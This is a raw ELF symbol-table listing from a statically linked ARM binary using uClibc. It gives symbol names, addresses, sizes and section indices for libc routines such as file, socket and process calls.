$a	.symtab	0x1955c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19564	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19570	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19580	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19590	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x195d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19638	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1969c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1973c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19768	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1977c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19790	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x197a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x197cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19804	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19844	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19858	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1989c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x198dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1991c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1997c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x199e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x199fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19b74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19c60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a004	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a334	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a354	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a7b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a834	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a998	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a9c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ab0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ac28	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1aed8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b284	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b3b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b450	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b8e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b900	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b960	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ba50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bb3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bb80	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bbd0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bc1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bc40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bcbc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bdb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1be2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1be94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c0e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c0f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c12c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c184	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c1dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c1e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c330	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c388	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c464	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c494	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c538	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c55c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c59c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c60c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c750	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c79c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c7e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c7f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c7f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c820	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c82c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c838	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ca58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1cba8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1cbc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1cc24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1cc90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1cd48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1cd68	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ceac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d3f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d3fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d404	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d40c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d4c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1d50c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1dc20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1dc68	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8128	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x269b8	0	NOTYPE	<unknown>	DEFAULT	10
$d	.symtab	0x8180	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x269b4	0	NOTYPE	<unknown>	DEFAULT	9
$d	.symtab	0x81c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8320	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8af4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x91e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x9890	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x9f3c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xa5e8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xac94	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xb340	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xb82c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xbf24	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xc540	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd114	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd54c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xdba8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xdc04	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe3bc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xeb70	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xec8c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xed60	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf828	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf86c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xfe00	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10388	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x103a8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x103f0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x104e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10c90	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26a68	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x26a6c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x26a70	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x10d14	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10d7c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10e4c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10f28	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10f5c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11024	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1117c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11c00	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12150	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e07f	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x1e088	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x128f4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12990	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12a30	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12e5c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26a74	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x12efc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12fd0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13aac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1404c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14120	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14ba4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x20	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x26	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x14d7c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14e68	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14f5c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14fa0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14fe4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15024	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15068	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x150e8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1512c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x151b8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15228	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15320	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15404	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x154c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15578	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e4a4	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x15654	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15684	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x156b8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15808	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1587c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x158c0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15904	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15978	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x159bc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15a04	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15a48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15ab8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15b04	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15b88	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15bcc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15c3c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15c88	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15d10	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15d58	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15d9c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15df0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15ec0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x168c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26a78	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x16a0c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16dc8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1726c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x172c0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x173dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26a90	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x17490	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17548	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17608	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x176ac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26aa8	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x26b40	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x17754	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17824	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17918	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17a08	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e4bc	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x17c18	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17ccc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26b54	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x17e14	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18430	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18800	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x189ec	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18b18	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18b30	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18bc0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18c50	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18ce0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18ecc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18f80	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18fe0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19034	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x193e0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26b6c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x194a0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x194d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19550	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x195cc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19630	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19698	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19738	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x197c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19800	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19840	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19898	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x198d8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19918	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19974	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x199e0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19c4c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19ffc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a324	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a780	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a824	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a97c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26b84	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x26b80	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1aebc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b26c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b3a8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ba48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1bb34	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1bcb8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1bdac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1be14	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1be84	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c0c0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c120	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c1d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c328	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c460	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c534	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c608	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x4c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x53	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x1ca3c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1d3e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x58	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x23c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0xe39	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x26b78	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1e54e	0	NOTYPE	<unknown>	DEFAULT	4
C.11.5548	.symtab	0x1e52c	12	OBJECT	<unknown>	DEFAULT	4
C.42.5033	.symtab	0x1e088	3	OBJECT	<unknown>	DEFAULT	4
C.43.5034	.symtab	0x1e07f	9	OBJECT	<unknown>	DEFAULT	4
C.5.5083	.symtab	0x1e4a4	24	OBJECT	<unknown>	DEFAULT	4
C.7.5370	.symtab	0x1e538	12	OBJECT	<unknown>	DEFAULT	4
C.7.6109	.symtab	0x1e874	12	OBJECT	<unknown>	DEFAULT	4
C.7.6182	.symtab	0x1e850	12	OBJECT	<unknown>	DEFAULT	4
C.8.6110	.symtab	0x1e868	12	OBJECT	<unknown>	DEFAULT	4
C.9.6119	.symtab	0x1e85c	12	OBJECT	<unknown>	DEFAULT	4
LOCAL_ADDR	.symtab	0x29840	4	OBJECT	<unknown>	DEFAULT	14
Laligned	.symtab	0x1b928	0	NOTYPE	<unknown>	DEFAULT	2
Llastword	.symtab	0x1b944	0	NOTYPE	<unknown>	DEFAULT	2
_Exit	.symtab	0x195d0	104	FUNC	<unknown>	DEFAULT	2
_GLOBAL_OFFSET_TABLE_	.symtab	0x269c0	0	OBJECT	<unknown>	HIDDEN	12
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_Unwind_Complete	.symtab	0x1c7f0	4	FUNC	<unknown>	HIDDEN	2
_Unwind_DeleteException	.symtab	0x1c7f4	44	FUNC	<unknown>	HIDDEN	2
_Unwind_ForcedUnwind	.symtab	0x1d4a4	36	FUNC	<unknown>	HIDDEN	2
_Unwind_GetCFA	.symtab	0x1c7e8	8	FUNC	<unknown>	HIDDEN	2
_Unwind_GetDataRelBase	.symtab	0x1c82c	12	FUNC	<unknown>	HIDDEN	2
_Unwind_GetLanguageSpecificData	.symtab	0x1d4c8	68	FUNC	<unknown>	HIDDEN	2
_Unwind_GetRegionStart	.symtab	0x1dc68	52	FUNC	<unknown>	HIDDEN	2
_Unwind_GetTextRelBase	.symtab	0x1c820	12	FUNC	<unknown>	HIDDEN	2
_Unwind_RaiseException	.symtab	0x1d438	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume	.symtab	0x1d45c	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume_or_Rethrow	.symtab	0x1d480	36	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Get	.symtab	0x1c750	76	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Pop	.symtab	0x1cd68	324	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Set	.symtab	0x1c79c	76	FUNC	<unknown>	HIDDEN	2
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b	.symtab	0x26b78	4	OBJECT	<unknown>	DEFAULT	13
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x1e54e	768	OBJECT	<unknown>	DEFAULT	4
__EH_FRAME_BEGIN__	.symtab	0x269b0	0	OBJECT	<unknown>	DEFAULT	7
__FRAME_END__	.symtab	0x269b0	0	OBJECT	<unknown>	DEFAULT	7
__GI___C_ctype_b	.symtab	0x26b78	4	OBJECT	<unknown>	HIDDEN	13
__GI___close	.symtab	0x18b50	100	FUNC	<unknown>	HIDDEN	2
__GI___close_nocancel	.symtab	0x18b34	24	FUNC	<unknown>	HIDDEN	2
__GI___ctype_b	.symtab	0x26b7c	4	OBJECT	<unknown>	HIDDEN	13
__GI___errno_location	.symtab	0x15668	32	FUNC	<unknown>	HIDDEN	2
__GI___fcntl_nocancel	.symtab	0x14cec	152	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x1b284	300	FUNC	<unknown>	HIDDEN	2
__GI___libc_close	.symtab	0x18b50	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x14d84	244	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x18be0	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_read	.symtab	0x18d00	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_write	.symtab	0x18c70	100	FUNC	<unknown>	HIDDEN	2
__GI___open	.symtab	0x18be0	100	FUNC	<unknown>	HIDDEN	2
__GI___open_nocancel	.symtab	0x18bc4	24	FUNC	<unknown>	HIDDEN	2
__GI___read	.symtab	0x18d00	100	FUNC	<unknown>	HIDDEN	2
__GI___read_nocancel	.symtab	0x18ce4	24	FUNC	<unknown>	HIDDEN	2
__GI___sigaddset	.symtab	0x15ef0	36	FUNC	<unknown>	HIDDEN	2
__GI___sigdelset	.symtab	0x15f14	36	FUNC	<unknown>	HIDDEN	2
__GI___sigismember	.symtab	0x15ecc	36	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x18f18	124	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x18fe8	88	FUNC	<unknown>	HIDDEN	2
__GI___write	.symtab	0x18c70	100	FUNC	<unknown>	HIDDEN	2
__GI___write_nocancel	.symtab	0x18c54	24	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x195d0	104	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x172c8	296	FUNC	<unknown>	HIDDEN	2
__GI_accept	.symtab	0x15810	116	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x17a14	32	FUNC	<unknown>	HIDDEN	2
__GI_bind	.symtab	0x15884	68	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x1c184	88	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x18b50	100	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x1522c	272	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x19f88	52	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x19fbc	72	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x19c60	808	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x1590c	116	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x17c28	196	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x1a004	816	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x14d84	244	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x1aed8	940	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x1a9c8	324	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x1b284	300	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x1ab0c	284	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x1b3b0	160	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x1a334	32	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x1845c	972	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x19638	100	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x1b284	300	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x1973c	44	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x19768	20	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x1977c	20	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x19790	20	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x197a4	40	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x188c0	72	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x197cc	56	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x15980	68	FUNC	<unknown>	HIDDEN	2
__GI_gettimeofday	.symtab	0x19804	64	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x19844	20	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x157a4	40	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x1bcbc	248	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x17830	248	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x14e8c	224	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x1bc1c	36	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x14f6c	56	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x1c59c	112	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x156c0	4	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x156d0	4	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x1c538	36	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x156e0	156	FUNC	<unknown>	HIDDEN	2
